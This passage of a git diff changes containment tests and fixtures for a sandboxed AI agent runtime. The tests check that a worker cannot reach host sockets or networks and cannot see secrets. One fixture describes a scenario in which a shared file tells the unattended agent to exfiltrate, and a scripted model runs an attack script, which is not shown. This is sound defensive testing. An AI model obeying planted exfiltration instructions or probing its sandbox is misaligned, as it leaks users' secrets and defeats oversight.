expect(companion.fromGuardSpawn,"COMPANION_USES_ACTUAL_GUARD_SPAWN_RECORD").toBe(true); - expect(companion.planMatches,"ONLY_TERMINAL_COMMAND_AND_O1_MASK_BINDS_DIFFER").toBe(true); - const a=companion.attack; - assertProductNetwork(a); - expect(a.selfNet,"PRODUCT_NETNS_ISOLATION_WITHOUT_BROKER").not.toBe(companion.serverNet); - expect(a.leaks,"SECRETS_UNSEEN: no marker in any environment, /proc environ or readable file").toEqual([]); - for(const process of a.processes)expect(process.net,`${process.cmd} shares the restricted network namespace`).toBe(a.selfNet); - expect(a.processes.some((process:any)=>/python3/.test(process.cmd)),"PYTHON_COMPANION_EXECUTED_IN_REAL_VIEW").toBe(true); - const reads=Object.entries(a.reads as Record).filter(([path])=>path.includes("autonomous-containment-"));expect(reads.length).toBe(5);for(const [path,outcome]of reads)expect([path,outcome]).toEqual([path,"ENOENT"]); - expect(a.relay).toEqual({"get-models":405,"post-files":403,"post-batches":403,"post-traversal":403,"post-other-host":200,"post-messages":200}); - expect(a.writes).toEqual({policy:"EROFS",scratch:"ok","symlink-write":"EROFS",hardlink:"EXDEV"});expect(a.scratchReadBack).toBe("Odysseus triage staged"); - } - } - // Egress, observed by listeners outside the worker and the server. expect(r.counts, "EGRESS_NONE: no connection or datagram reached a host listener").toEqual({ tcp: 0, udp: 0, unixHost: 0, unixHome: 0, unixGit: 0, abstract: 0 }); for (const a of reports) { @@ -92,10 +60,15 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous for (const [name, port] of Object.entries(a.tcpPorts as Record)) { expect(port, `${name} port lies below the worker's ephemeral range`).toBeLessThan(a.ephemeralRange[0]); } - if(adapter==="claude"){ - for(const name of ["tcp-host","tcp-upstream","unix-host","unix-home","unix-git","unix-abstract","udp-host"])expect(a.net[name],`native broker denies ${name}`).toBe("EPERM"); - expect(a.net.dns,"no name resolves").toBe("gaierror"); - }else assertProductNetwork(a); + expect(a.net["tcp-host"], "host TCP listener unreachable").toBe("ECONNREFUSED"); + expect(a.net["tcp-upstream"], "the inference upstream is unreachable except through the relay").toBe("ECONNREFUSED"); + expect(a.net.dns, "no name resolves").toBe("gaierror"); + expect(a.net["unix-host"], "host Unix socket outside the envelope is absent").toBe("ENOENT"); + expect(a.net["unix-home"], "a socket in the host home is absent").toBe("ENOENT"); + // Ruling 1A: a host daemon's socket inside the read envelope stays + // connectable through a read-only mount, so the brain's .git is masked. + expect(a.net["unix-git"], "GIT_MASKED: the host's socket in the brain's .git is absent").toBe("ENOENT"); + expect(a.net["unix-abstract"], "the host's abstract socket namespace is unreachable").toBe("ECONNREFUSED"); // Secrets: environment, /proc environ, host files and the host home. expect(a.leaks, "SECRETS_UNSEEN: no marker in any environment, /proc environ or readable file").toEqual([]); diff --git a/tests/browser-determinism-container.test.ts b/tests/browser-determinism-container.test.ts index 8a416dacf0..ede70c2976 100644 --- a/tests/browser-determinism-container.test.ts +++ b/tests/browser-determinism-container.test.ts @@ -35,7 +35,7 @@ async function repeatInContainer(pairs: { project: string; file: string }[], rep // Docker runs as this user and needs none of it. chmodSync(join(ROOT, run, "plan.json"), 0o644); for (const dir of [scratch, join(ROOT, run)]) chmodSync(dir, 0o777); - const child = Bun.spawn(["docker", "run", "--rm", "--pull=never", "--network=none", "--ipc=host", "--user", `${process.getuid!()}:${process.getgid!()}`, + const child = Bun.spawn(["docker", "run", "--rm", "--pull=never", "--network=none", "--shm-size=1g", "--user", `${process.getuid!()}:${process.getgid!()}`, "-v", `${ROOT}:/repo`, "-v", `${scratch}:${scratch}`, "-e", `TMPDIR=${scratch}`, "-e", "HOME=/tmp", "-w", "/repo", (await resolveBrowserPin(ROOT)).image, "sh", "-c", 'umask 000 && exec node scripts/browser-determinism-inside.mjs "$1"', "sh", `${run}/plan.json`], { stdin: "ignore", stdout: "pipe", stderr: "pipe" }); const [code, out, err] = await Promise.all([child.exited, new Response(child.stdout).text(), new Response(child.stderr).text()]); diff --git a/tests/claude-worker.test.ts b/tests/claude-worker.test.ts index 1d2197aa7e..905c4f55c8 100644 --- a/tests/claude-worker.test.ts +++ b/tests/claude-worker.test.ts @@ -51,7 +51,7 @@ test("ordinary Claude worker protects policy bytes, applies and indexes permitte const effects = r.appEvents.filter((e: any) => e.event_type === "brain_application_change").map((e: any) => JSON.parse(e.payload).v.path); expect(effects).toEqual(["notes/worker-raft.md", "assets/raft-mask.png"]); expect(r.survivors, "no worker or descendant survives a completed turn").toEqual([]); -}, 120_000); +}); test("aborting an actual Claude mid-tool removes its detached descendant and history has no phantom Markdown effect", async () => { const r = await probe("abort"); expect(Math.max(0, ...r.diagnostics.atAbort.native.map((file: { bash: number }) => file.bash)), diff --git a/tests/docker-bind-stability.test.ts b/tests/docker-bind-stability.test.ts index 139286a6d1..be766fceea 100644 --- a/tests/docker-bind-stability.test.ts +++ b/tests/docker-bind-stability.test.ts @@ -4,27 +4,6 @@ import { nativeHostDockerArgs } from "../scripts/prove-native-host.ts"; import { workerIdentityDockerArgs } from "../scripts/prove-worker-identity.ts"; import { captureRenderArgs } from "../scripts/capture.ts"; import { workspaceLeaseDockerArgs } from "../scripts/workspace-lease-container.ts"; -import { nativeGuardEnvironment } from "../scripts/native-proof/guard-environment.ts"; -import { nativeNamespaceEnvironment } from "../scripts/test-native-guard.ts"; - -test("native containers carry an exact head without promoting local execution to hosted", () => { - const saved = { GITHUB_ACTIONS: process.env.GITHUB_ACTIONS, RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT, BRAIN_TEST_DEADLINE_FACTOR: process.env.BRAIN_TEST_DEADLINE_FACTOR }; - try { - delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT;process.env.BRAIN_TEST_DEADLINE_FACTOR="3"; - const local = nativeGuardEnvironment(); - expect(local).toHaveLength(1); - expect(local[0]).toMatch(/^--env=BRAIN_NATIVE_TEST_HEAD=[0-9a-f]{40}$/); - expect(nativeNamespaceEnvironment()).toEqual(["--setenv", "BRAIN_NATIVE_TEST_HEAD", local[0]!.split("=").at(-1)!, "--setenv", "BRAIN_TEST_DEADLINE_FACTOR", "3"]); - process.env.GITHUB_ACTIONS = "true"; process.env.RUNNER_ENVIRONMENT = "github-hosted"; - expect(nativeGuardEnvironment()).toEqual([...local, "--env=GITHUB_ACTIONS=true", "--env=RUNNER_ENVIRONMENT=github-hosted"]); - expect(nativeNamespaceEnvironment()).toEqual(["--setenv", "BRAIN_NATIVE_TEST_HEAD", local[0]!.split("=").at(-1)!, "--setenv", "BRAIN_TEST_DEADLINE_FACTOR", "3", - "--setenv", "GITHUB_ACTIONS", "true", "--setenv", "RUNNER_ENVIRONMENT", "github-hosted"]); - } finally { - for (const [key, value] of Object.entries(saved)) { - if (value === undefined) delete process.env[key]; else process.env[key] = value; - } - } -}); function bindSources(argv: string[]): string[] { return argv.flatMap((arg, index) => { diff --git a/tests/docs-paths.test.ts b/tests/docs-paths.test.ts index 42383a9478..7b2cd3ecdd 100644 --- a/tests/docs-paths.test.ts +++ b/tests/docs-paths.test.ts @@ -138,13 +138,13 @@ describe("documentation paths", () => { const body = readFileSync(join(ROOT, "docs/decisions/design-kit/show-block-brief.md"), "utf8"); const { children } = unified().use(remarkParse).parse(body); const index = children.findIndex((node) => node.type === "code" - && node.value.startsWith("bun scripts/measure-show-block.ts --allow-real-provider --always-load")); + && node.value.startsWith("bun scripts/measure-show-block.ts --always-load")); expect(index).toBeGreaterThanOrEqual(0); const command = children[index]; expect(command?.type).toBe("code"); if (command?.type !== "code") throw new Error("D43 reproduction command missing"); expect(command.lang).toBe("sh"); - expect(command.value).toBe(String.raw`bun scripts/measure-show-block.ts --allow-real-provider --always-load --reps 3 --only \ + expect(command.value).toBe(String.raw`bun scripts/measure-show-block.ts --always-load --reps 3 --only \ compare-short,compare-long,trend,contact,table,steps,quote,bars`); const prose = children[index + 1]; expect(prose?.type).toBe("paragraph"); diff --git a/tests/experiment-tier.test.ts b/tests/experiment-tier.test.ts index 5a88ab41d9..ce6404a43c 100644 --- a/tests/experiment-tier.test.ts +++ b/tests/experiment-tier.test.ts @@ -17,7 +17,7 @@ import { const ROOT = join(import.meta.dir, ".."); const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", - "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; + "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; const passing = (name: string) => `import { expect, test } from "bun:test";\ntest(${JSON.stringify(name)}, () => expect(1).toBe(1));\n`; diff --git a/tests/fixtures/autonomous-app-probe.ts b/tests/fixtures/autonomous-app-probe.ts index 8d3ab34e14..c1c214f271 100644 --- a/tests/fixtures/autonomous-app-probe.ts +++ b/tests/fixtures/autonomous-app-probe.ts @@ -1,5 +1,3 @@ -import "../../scripts/test-network-child-preload.ts"; -import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; /** * The whole app pipeline with an installed first-party runtime (#689 AC1 and * AC4), run behind the caller's offline network namespace. @@ -107,7 +105,6 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [root,brainPath], fixtureCredentials:{ANTHROPIC_API_KEY:MARKERS.realKey} }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 4faeb69ac4..770ee3a5bb 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -1,11 +1,8 @@ -import "../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../scripts/test-deadlines"; -import { nativeScriptedService,nativeUnknownBoundary,nativeFixtureObserveWorkerSpawns,nativeFixtureIsWorkerSpawnRecord,type NativeFixtureWorkerSpawnRecord } from "../../scripts/test-native-guard.ts"; import { spyOn } from "bun:test"; import * as startup from "../../packages/ui-sdk/src/server/worker-startup-view.js"; import { createFixtureWorkerStartupView } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { belowEphemeral } from "../../packages/ui-sdk/tests/helpers/below-ephemeral-port.js"; -import { observeCopiedFixtureTurnTrees } from "../../packages/ui-server/tests/helpers/fixture-turn-data-tree.js"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; /** * Autonomous containment proof (#676), run behind the caller's offline @@ -18,7 +15,7 @@ import { createFixtureTurnHost } from "./turn-host-fixture.js"; * share asks the unattended agent to exfiltrate; the fixture model obeys by * running the attack script below inside the restricted worker. */ -import { cpSync, existsSync, mkdirSync, readFileSync, readlinkSync, rmSync, writeFileSync,openSync,closeSync } from "node:fs"; +import { cpSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; import { MARKERS } from "./autonomous-containment-markers"; @@ -175,7 +172,6 @@ async function server(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } })); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [root,brainPath], fixtureCredentials:{ANTHROPIC_API_KEY:MARKERS.realKey} }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" @@ -207,36 +203,8 @@ async function server(): Promise { const nativeHost = createFixtureTurnHost(brainPath, db); // The historical restricted fixture omits Git daemon sockets; the worker still enforces its Git mask. - const companions:Promise[]=[]; - const observeCompanion=nativeFixtureObserveWorkerSpawns(record=>{ - if(adapter!=="claude"||scenario!=="attack"||record.brainPath!==brainPath)return; - const companion=runProductCompanion(record);void companion.catch(()=>{});companions.push(companion); - }); - async function runProductCompanion(record:NativeFixtureWorkerSpawnRecord){ - if(!nativeFixtureIsWorkerSpawnRecord(record)||record.bwrap<0)throw Error("ACTUAL_GUARD_SPAWN_RECORD_REQUIRED"); - const captured=[...record.argv.slice(record.statusPrefixLength)],terminal=captured.length-record.command.length; - if(!record.command.every((arg,index)=>captured[terminal+index]===arg))throw Error("ACTUAL_PRODUCT_TERMINAL_COMMAND_REQUIRED"); - const config=attackConfig.replace('"upstreamPort":0',`"upstreamPort":${upstream.port}`); - const replay=[...captured.slice(0,terminal),"/usr/bin/python3","-I","-S","-c",ATTACK_PY,config]; - const plan=nativeUnknownBoundary(replay,{cwd:brainPath,env:{...record.env}},undefined,true); - const at=plan.argv.indexOf(captured[0]!),normalized=plan.argv.slice(at),mask=plan.maskBinds; - const maskAt=normalized.findIndex((_,index)=>mask.every((word,offset)=>normalized[index+offset]===word)); - if(at<0||maskAt<0)throw Error("ONLY_O1_MASK_BINDS_MAY_CHANGE_PRODUCT_PLAN");normalized.splice(maskAt,mask.length); - if(JSON.stringify(normalized)!==JSON.stringify(replay))throw Error("PRODUCT_COMPANION_ARGV_DRIFT"); - const folder=join(root,`companion-${record.pid}`);mkdirSync(folder);writeFileSync(join(folder,"go"),"go\n",{mode:0o600}); - const ready=openSync(join(folder,"status"),"w",0o600),go=openSync(join(folder,"go"),"r"); - try{ - const child=Bun.spawn(plan.argv,{env:plan.env,stdin:"ignore",stdout:"pipe",stderr:"pipe",stdio:["ignore","pipe","pipe",ready,go]}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - if(code!==0)throw Error("PRODUCT_COMPANION_FAILED: "+err); - const line=out.split("\n").find(line=>line.startsWith("ATTACK-RESULT "));if(!line)throw Error("REAL_PRODUCT_COMPANION_REPORT_REQUIRED"); - return {attack:JSON.parse(line.slice(14)),fromGuardSpawn:true,planMatches:true,namespaces:captured.filter(arg=>arg.startsWith("--unshare-")),serverNet:readlinkSync("/proc/self/ns/net")}; - }finally{closeSync(ready);closeSync(go);rmSync(folder,{recursive:true,force:true});} - } - const copiedViews=new WeakSet(); - const releaseCopiedTrees=observeCopiedFixtureTurnTrees(view=>typeof view==="object"&&view!==null&&copiedViews.has(view),()=>Promise.all(companions).then(()=>{})); const restrictedInputs = spyOn(startup, "prepareNativeWorkerStartupView").mockImplementation(async (brain, _manager, signal) => { - signal?.throwIfAborted(); const view=createFixtureWorkerStartupView(brain, { omitGit: true });copiedViews.add(view);const cleanup=view.cleanup;view.cleanup=()=>{copiedViews.delete(view);return cleanup();};return view; + signal?.throwIfAborted(); return createFixtureWorkerStartupView(brain, { omitGit: true }); }); const frames: Array> = []; const settled: unknown[] = []; @@ -251,11 +219,10 @@ async function server(): Promise { allowedTools: adapter === "claude" ? [shell, "Agent"] : [shell], systemPromptAppend: `${SNAPSHOT}: triage only; stage findings in scratch.`, signal: AbortSignal.timeout(watchdogMs(100_000)) }); } catch (error) { failure = { name: (error as Error).name, message: (error as Error).message }; } Bun.spawn = original.spawn; Bun.spawnSync = original.spawnSync; - const companionReports=await Promise.all(companions);observeCompanion(); const toolResults = frames.filter(f => f.type === "tool_result").map(f => ({ toolUseId: f.toolUseId, isError: f.isError, output: String(f.output ?? "") })); - writeFileSync(receiptPath, JSON.stringify({ requests, toolResults, companionReports,settled, failure, result, spawned, principalId: principal.id, + writeFileSync(receiptPath, JSON.stringify({ requests, toolResults, settled, failure, result, spawned, principalId: principal.id, frames: frames.filter(f => f.type === "error").map(f => ({ type: f.type, message: f.message, failure: f.failure })) })); - upstream.stop(true); releaseCopiedTrees(); restrictedInputs.mockRestore(); await nativeHost.close(); db.close(); + upstream.stop(true); restrictedInputs.mockRestore(); await nativeHost.close(); db.close(); // Release the native runtime's handles; the receipt is complete. rmSync(join(root, "pi-sessions"), { recursive: true, force: true }); process.exit(0); diff --git a/tests/fixtures/autonomous-dispatch-probe.ts b/tests/fixtures/autonomous-dispatch-probe.ts index 9aac7cfbd9..880da95fec 100644 --- a/tests/fixtures/autonomous-dispatch-probe.ts +++ b/tests/fixtures/autonomous-dispatch-probe.ts @@ -1,5 +1,3 @@ -import "../../scripts/test-network-child-preload.ts"; -import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { Database } from "bun:sqlite"; import { createFixtureWorkerStartupView } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -85,7 +83,6 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [root], fixtureCredentials:{ANTHROPIC_API_KEY:KEY} }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-runtime-probe.ts b/tests/fixtures/autonomous-runtime-probe.ts index ddc4e5a33c..668b5e4551 100644 --- a/tests/fixtures/autonomous-runtime-probe.ts +++ b/tests/fixtures/autonomous-runtime-probe.ts @@ -1,6 +1,4 @@ -import "../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { startFixtureTurn } from "./worker-input-fixture.js"; /** Executed inside a network namespace with loopback fixture inference only. */ @@ -93,7 +91,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [root,brainPath] }); function start(): unknown { return { type: "message_start", message: { id: `msg_${crypto.randomUUID()}`, type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, diff --git a/tests/fixtures/claude-worker-probe.ts b/tests/fixtures/claude-worker-probe.ts index 348fe4636c..492509c1e4 100644 --- a/tests/fixtures/claude-worker-probe.ts +++ b/tests/fixtures/claude-worker-probe.ts @@ -1,6 +1,4 @@ -import "../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; /** Actual ordinary adapter and server bridge behind kernel loopback isolation. */ import { cpSync, existsSync, mkdirSync, readFileSync, readdirSync, writeFileSync } from "node:fs"; @@ -116,7 +114,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) events.push({ type: "content_block_stop", index: 0 }, { type: "message_delta", delta: { stop_reason: action ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((event: any) => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [root] }); const db = createUiDb(":memory:"); const store = createActivityStore(db, { writer: "claude-worker-test" }), stream = createActivityStream(store); const profile: InferenceProfile = { id: "fixture", label: "Fixture", model: "claude-sonnet-4-6", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_OAUTH_TOKEN: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }) }; const backend = createClaudeBackend({ brainPath, profiles: [profile], log: () => {} }); diff --git a/tests/fixtures/pi-worker-probe.ts b/tests/fixtures/pi-worker-probe.ts index 87dd65a126..8c87746979 100644 --- a/tests/fixtures/pi-worker-probe.ts +++ b/tests/fixtures/pi-worker-probe.ts @@ -1,5 +1,4 @@ import { createFixtureTurnHost } from "./turn-host-fixture.js"; -import { AsyncLocalStorage } from "node:async_hooks"; import { startFixtureTurn } from "./worker-input-fixture.js"; /** Real ordinary pi turns, confined by the caller's offline network namespace. */ import { cpSync, existsSync, linkSync, mkdirSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; @@ -235,9 +234,6 @@ else if (scenario !== "host-web") toolCalls = [inspect]; // and the executor's private state exist only on the host; the actual worker // tries to read both after the executor has started. const hostWeb = scenario === "host-web"; -// The independent web executor predates the app fixture's native-only scope. -// Preserve its host context when the bridge lazily starts its proxy. -const inHostWebScope = AsyncLocalStorage.snapshot(); const webSentinel = "odysseus-host-web-sentinel"; const webRoot = join(root, "host-web"), webHostConfig = join(webRoot, "web-search.json"), webExecutorRoot = join(webRoot, "executor"); const webReceipts: WebReceipt[] = [], webProviderKeys: Array = []; @@ -342,7 +338,7 @@ const webAccess = webBroker ? createWebAccess({ host: { webTools: webBroker }, t signal: controller.signal, backendId: "pi", workerProfile: { origin: "interactive", actualProfile: "governed" }, current: () => !controller.signal.aborted, recordingAvailable: () => true } as never, { collectedSessionId: "s-ithaca" }, { policy: { hash: "rev-odyssey", policy: { providers: [] } } } as never).webAccess : undefined; const activeBridge = scenario.startsWith("mask-") ? { ...bridge, requestMask: maskBridge.requestMask, - ...(scenario !== "mask-no-route" ? { applyImageMask: maskBridge.applyImageMask } : {}) } : webAccess ? { ...bridge, webAccess: (call: Parameters[0]) => inHostWebScope(webAccess, call) } : bridge; + ...(scenario !== "mask-no-route" ? { applyImageMask: maskBridge.applyImageMask } : {}) } : webAccess ? { ...bridge, webAccess } : bridge; if (scenario === "failed-host") workerHostBoundary.probe = () => ({ ok: false, requirement: "fixture missing namespaces" }); if (scenario === "pre-aborted") controller.abort(); const deadline = setTimeout(() => controller.abort(), 15_000); diff --git a/tests/fixtures/policy-boundary-probe.ts b/tests/fixtures/policy-boundary-probe.ts index 7c3540526f..4f3b9155e1 100644 --- a/tests/fixtures/policy-boundary-probe.ts +++ b/tests/fixtures/policy-boundary-probe.ts @@ -1,9 +1,6 @@ -import "../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../scripts/test-deadlines"; -import {nativeScriptedService,nativeUnknownBoundary,nativeFixtureObserveWorkerSpawns,nativeFixtureIsWorkerSpawnRecord,type NativeFixtureWorkerSpawnRecord} from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; -import { replaceNativeStartupAcquisitionForFixture,isFixtureStartupView } from "../../packages/ui-server/tests/helpers/fixture-native-startup.js"; -import {observeCopiedFixtureTurnTrees} from "../../packages/ui-server/tests/helpers/fixture-turn-data-tree.js"; +import { replaceNativeStartupAcquisitionForFixture } from "../../packages/ui-server/tests/helpers/fixture-native-startup.js"; const restoreNativeAcquisition = replaceNativeStartupAcquisitionForFixture(); process.on("exit", restoreNativeAcquisition); /** @@ -149,6 +146,8 @@ async function outer(): Promise { const source = process.argv[2]; const report = { source, ...${scenario.startsWith("governed") ? "{ results: [], scratchAliases: [], scratch: true, areaWritable: [] }" : "__attempt(fs)"} }; fs.writeFileSync((process.env.BRAIN_WORKER_SCRATCH ?? "/tmp/brain-worker-scratch") + "/witness-" + source + ".json", JSON.stringify(report)); +const base = process.env.ANTHROPIC_BASE_URL; +if (base) await fetch(base + "/witness", { method: "POST", body: JSON.stringify(report) }).catch(() => {}); if (source === "mcp") process.execve(${JSON.stringify(process.execPath)}, [${JSON.stringify(process.execPath)}, ${JSON.stringify(join(REPO, "packages/core/src/cli/brain.ts"))}, "mcp"], process.env);`); writeFileSync(join(brainPath, ".mcp.json"), JSON.stringify({ mcpServers: { brain: { command: process.execPath, args: [join(brainPath, "witness.ts"), "mcp"] } } })); mkdirSync(join(brainPath, ".claude")); @@ -208,6 +207,10 @@ export default function (pi) { const report = { source: "extension-factory", ...__attempt(fs) }; const scratch = process.env.BRAIN_WORKER_SCRATCH; fs.writeFileSync(scratch + "/witness-extension-factory.json", JSON.stringify(report)); + try { + const base = JSON.parse(fs.readFileSync(scratch + "/pi-state/models.json", "utf8")).providers.anthropic.baseUrl; + void fetch(base + "/witness", { method: "POST", body: JSON.stringify(report) }).catch(() => {}); + } catch {} pi.registerTool({ name: "probe_worker", label: "Worker proof", description: "Fictional Odysseus worker proof", parameters: { type: "object", properties: { config: { type: "string" } }, required: ["config"] }, async execute(_id, params) { @@ -416,7 +419,6 @@ async function server(): Promise { const url = `http://127.0.0.1:${inference.port}`; const configDir = join(root, "claude"), agentDir = join(root, "pi"); mkdirSync(configDir, { recursive: true }); mkdirSync(agentDir, { recursive: true }); - nativeScriptedService(inference.url.origin, { fixtureRoots: [root] }); process.env.CLAUDE_CONFIG_DIR = configDir; process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC = "1"; process.env.PI_CODING_AGENT_DIR = agentDir; @@ -470,33 +472,6 @@ async function server(): Promise { const db = createUiDb(":memory:"); const store = createActivityStore(db, { writer: "policy-boundary-test" }), stream = createActivityStream(store); const nativeHost = createFixtureTurnHost(brainPath, db, scenario.startsWith("governed") ? "governed" : "strict"); - // The native arm proves the extra broker; this replay proves the product's - // original descriptor-transfer boundary without changing its sandbox plan. - const companions:Promise[]=[]; - const observeCompanion=nativeFixtureObserveWorkerSpawns(record=>{ - if(adapter==="claude"&&scenario==="attacks"&&record.brainPath===brainPath){const companion=runProductCompanion(record);void companion.catch(()=>{});companions.push(companion);} - }); - async function runProductCompanion(record:NativeFixtureWorkerSpawnRecord){ - if(!nativeFixtureIsWorkerSpawnRecord(record)||record.bwrap<0)throw Error("ACTUAL_GUARD_SPAWN_RECORD_REQUIRED"); - const captured=[...record.argv.slice(record.statusPrefixLength)],terminal=captured.length-record.command.length; - if(!record.command.every((arg,index)=>captured[terminal+index]===arg))throw Error("ACTUAL_PRODUCT_TERMINAL_COMMAND_REQUIRED"); - const replay=[...captured.slice(0,terminal),python!,"-I","-S","-c",ATTACK_PY,attackConfig]; - const plan=nativeUnknownBoundary(replay,{cwd:brainPath,env:{...record.env}},undefined,true); - const at=plan.argv.indexOf(captured[0]!),normalized=plan.argv.slice(at),mask=plan.maskBinds; - const maskAt=normalized.findIndex((_,index)=>mask.every((word,offset)=>normalized[index+offset]===word)); - if(at<0||maskAt<0)throw Error("ONLY_O1_MASK_BINDS_MAY_CHANGE_PRODUCT_PLAN");normalized.splice(maskAt,mask.length); - if(JSON.stringify(normalized)!==JSON.stringify(replay))throw Error("PRODUCT_COMPANION_ARGV_DRIFT"); - const folder=join(root,`companion-${record.pid}`);mkdirSync(folder);writeFileSync(join(folder,"go"),"go\n",{mode:0o600}); - const ready=openSync(join(folder,"status"),"w",0o600),go=openSync(join(folder,"go"),"r"); - try{ - const child=Bun.spawn(plan.argv,{env:plan.env,stdin:"ignore",stdout:"pipe",stderr:"pipe",stdio:["ignore","pipe","pipe",ready,go]}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - if(code!==0)throw Error("PRODUCT_COMPANION_FAILED: "+err); - const line=out.split("\n").find(line=>line.startsWith("ATTACK-RESULT "));if(!line)throw Error("REAL_PRODUCT_COMPANION_REPORT_REQUIRED"); - return {attack:JSON.parse(line.slice(14)),fromGuardSpawn:true,planMatches:true}; - }finally{closeSync(ready);closeSync(go);rmSync(folder,{recursive:true,force:true});} - } - const holdCompanions=observeCopiedFixtureTurnTrees(isFixtureStartupView,()=>Promise.all(companions).then(()=>{})); const beginWriter = nativeHost.governedTurns.begin.bind(nativeHost.governedTurns); nativeHost.governedTurns.begin = (id, signal, origin, preference, route, timing) => beginWriter(id, signal, origin, preference, { ...route, codeChanges: true }, timing); @@ -566,10 +541,9 @@ async function server(): Promise { const toolResults = frames.filter(f => f.type === "tool_result").map(f => ({ toolUseId: f.toolUseId, isError: f.isError, output: String(f.output ?? "") })); const toolStarts = frames.filter(f => f.type === "tool_use_start" || f.type === "tool_use_complete").map(f => ({ toolUseId: f.toolUseId, toolName: f.toolName })); writeFileSync(receiptPath, JSON.stringify({ adapter, parentPiStateUnchanged: initialPiState === JSON.stringify(piState()), calls, spawned, issued, requests, witnesses, unavailable, frames: frames.filter(f => f.type !== "text_delta" && f.type !== "status"), - toolResults, toolStarts, applications, raceReceipts, maskRequests, askRequests, settled, failure, autonomous, held, mapped, mappingBytes: mapping.length,companionReports:await Promise.all(companions), + toolResults, toolStarts, applications, raceReceipts, maskRequests, askRequests, settled, failure, autonomous, held, mapped, mappingBytes: mapping.length, governance: queryGovernanceEvents(db, { limit: 100 }), serverPid: process.pid, python, posture, serialization: existsSync(join(brainPath, "notes/git-serialization.md")) ? readFileSync(join(brainPath, "notes/git-serialization.md"), "utf8") : null })); Bun.spawn = original.spawn; Bun.spawnSync = original.spawnSync; - 